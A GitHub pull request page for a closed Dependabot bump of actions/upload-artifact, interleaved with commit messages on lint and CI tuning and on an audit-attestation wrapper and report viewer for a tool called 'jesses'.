  - govet shadow off: err-shadowing in short scopes is idiomatic Go
  - test files: relax errorlint/copyloopvar/unparam/unused/revive so
    correctness stays checked but style noise doesn't block
  - internal/shellparse/**: gocyclo exempt (same rationale)
  - cmd/jesses/(hook|view).go: errcheck exempt for HTTP response
    Write/Encode/Copy — "client disconnected" errs, standard Go idiom
  - cmd/jesses/hook.go G306: session.jes at 0644 is intentional so
    bounty-triage tooling on shared workspaces can read without sudo
  - gocritic ifElseChain/dupBranchBody: style hints, re-enable at v0.1

.github/workflows/ci.yml
  - drop windows-latest from test matrix: audit/writer_unix.go carries
    a !windows build tag; a Windows writer lands in a later phase and
    the matrix reopens Windows at that point
  - govulncheck pinned to go-version 1.24.x: picks up stdlib fixes
    for GO-2025-4007/4008/4009 (crypto/x509 name-constraint quadratic,
    crypto/tls ALPN info leak, encoding/pem quadratic). Project code
    still compiles on `go 1.22` per go.mod; this just selects the
    scanner's symbol-version baseline.

Branch protection required contexts unchanged
("test (go 1.23.x / ubuntu-latest)", lint, govulncheck,
go mod tidy check, analyze (go), verify sign-off).

Signed-off-by: hybirdss <oinkm@naver.com>
@dependabot
dependabot Bot force-pushed the dependabot/github_actions/actions/upload-artifact-7 branch from b289636 to 045e941 Compare April 15, 2026 22:32
Hybirdss and others added 2 commits April 16, 2026 07:34
Second pass of scaffold-phase CI tuning. First pass lit up remaining
issues that were not specific to cmd/jesses; this pass generalizes.

.golangci.yml
  - G306 exclusion broadened to the whole project. The 0644 write mode
    is intentional across session artifacts (.jes), generated spec
    files (tools/specgen), and test-vector outputs, all of which are
    read by downstream tooling on shared workspaces. If the threat
    model tightens, individual call sites get 0600 + explicit chown
    rather than the broad exclusion being narrowed.
  - gofumpt/gofmt/goimports exempted on test files: scaffold-era test
    files oscillate in style as they are rewritten; style enforcement
    there produces churn without catching bugs.
  - Dead-code `policyCompile` in internal/verify/verify.go exempted
    pending the next verify-path refactor.
  - `modelled` accepted as a British spelling in place of `modeled`;
    misspell exclusion list documents further variants as they appear.
  - Duplicate gocritic rule removed.

.github/workflows/ci.yml
  - govulncheck `go-version-input: stable` (was 1.24.x). Go 1.24.13 on
    the runner still carries CVEs fixed only in 1.25.x; `stable` lets
    the action follow patch releases automatically.

Expected remaining failure surface after this commit:
  - lint: should be clean on main
  - govulncheck: should be clean when Go 1.25.x is published and stable
  - tests: clean on ubuntu + macos × {1.22, 1.23}

Signed-off-by: hybirdss <oinkm@naver.com>
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 4 to 7.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](actions/upload-artifact@v4...v7)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot
dependabot Bot force-pushed the dependabot/github_actions/actions/upload-artifact-7 branch from 045e941 to 5bbf677 Compare April 15, 2026 22:36
Hybirdss added a commit that referenced this pull request Apr 15, 2026
…e spec

Closes the last two holes in v0.1's honest "where does tracking
start and end?" story:

(A) `jesses run -- <cmd> [args]` wraps a command under jesses' own
    process. Two synthetic audit events bound the claim explicitly:

      #1 jesses.wrap_start  { argv, argv_sha256, cwd, parent_pid }
      #N jesses.wrap_end    { exit_code, signal, duration_ms }

    Child stdout/stderr are teed to session.stdout.log and
    session.stderr.log alongside the audit log for full captured
    I/O. The time window [wrap_start, wrap_end] is the explicit
    attestation boundary — actions outside that window are
    explicitly not claimed, shrinking the semantic gap that made
    A8 "theater mode" possible.

    Flags: --session-dir, --key, --rekor, --ots, --fake-rekor,
    --report (optional post-wrap binding).

    Exit code of the child is propagated to the caller so CI
    pipelines can gate on wrapped-command success.

(B) spec/freshness-nonce.md — normative-once-implemented draft of
    the platform-issued-nonce protocol. Shipping the protocol
    requires a live platform (Immunefi, HackerOne, Bugcrowd, a B2B
    audit firm) to issue signed nonces; the spec defines the
    contract. New precommit field PlatformNonce is documented; the
    Receipt schema supports it via `omitempty` so v0.1 vectors
    remain byte-identical when no platform integrates.

    Gate G8 (platform freshness): verify platform signature,
    verify issued_at ≤ precommit.timestamp ≤ expires_at, verify
    the nonce body is what Rekor signed, verify program_id matches
    submission context. Advisory until a platform declares it
    mandatory; platforms that want to REQUIRE freshness publish
    their policy.

    What this closes (over G7 alone): "theater with prepared
    script" — a session recorded in advance against a known
    program cannot include a fresh nonce that the platform has
    not yet issued.

    What this does not close: hunter-platform collusion, agent
    memory of outside-session findings. Those remain v0.3 TEE
    territory.

Viewer side-by-side rendering:

  `jesses view --report report.md session.jes`

  Left pane: event timeline with ★ badges on cited events.
  Right pane: rendered report with [^ev:N] as clickable anchors
              (scroll + highlight the corresponding timeline
              event when clicked).
  Bidirectional navigation: click a citation → timeline scroll +
  highlight; cited events visually distinct in the timeline.

  Minimal markdown rendering (headers, code spans, bold/italic,
  citations) — no raw HTML pass-through. CSP-strict (default-src
  'self', script-src 'self') so embedded reports cannot execute
  content. Auto-poll in --follow mode picks up report edits.

  Reviewer flow: receive session.jes + report.md, one command,
  30 seconds to full comprehension of what the agent claimed and
  how each claim is backed by a specific event.

Envelope display includes deliverable binding status so a viewer
user sees at a glance whether the envelope is bound to a report
(and what that report's SHA-256 is).

README adds the "process-bound wrapping" section explaining the
[wrap_start, wrap_end] boundary and pointing at spec/freshness-nonce.md
for v0.1.1 + TEE in v0.3 closure of residual gaps.

218 Go tests + 3 JS vectors still conforming byte-exact. go vet
clean. Zero external dependencies in either implementation.
@Hybirdss Hybirdss closed this Apr 15, 2026
@dependabot @github

dependabot Bot commented on behalf of github Apr 15, 2026

Copy link
Copy Markdown
Author

OK, I won't notify you again about this release, but will get in touch when a new version is available. If you'd rather skip all updates until the next major or minor version, let me know by commenting @dependabot ignore this major version or @dependabot ignore this minor version. You can also ignore all major, minor, or patch releases for a dependency by adding an ignore condition with the desired update_types to your config file.

If you change your mind, just re-open this PR and I'll resolve any conflicts on it.

@dependabot
dependabot Bot deleted the dependabot/github_actions/actions/upload-artifact-7 branch April 15, 2026 23:29
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant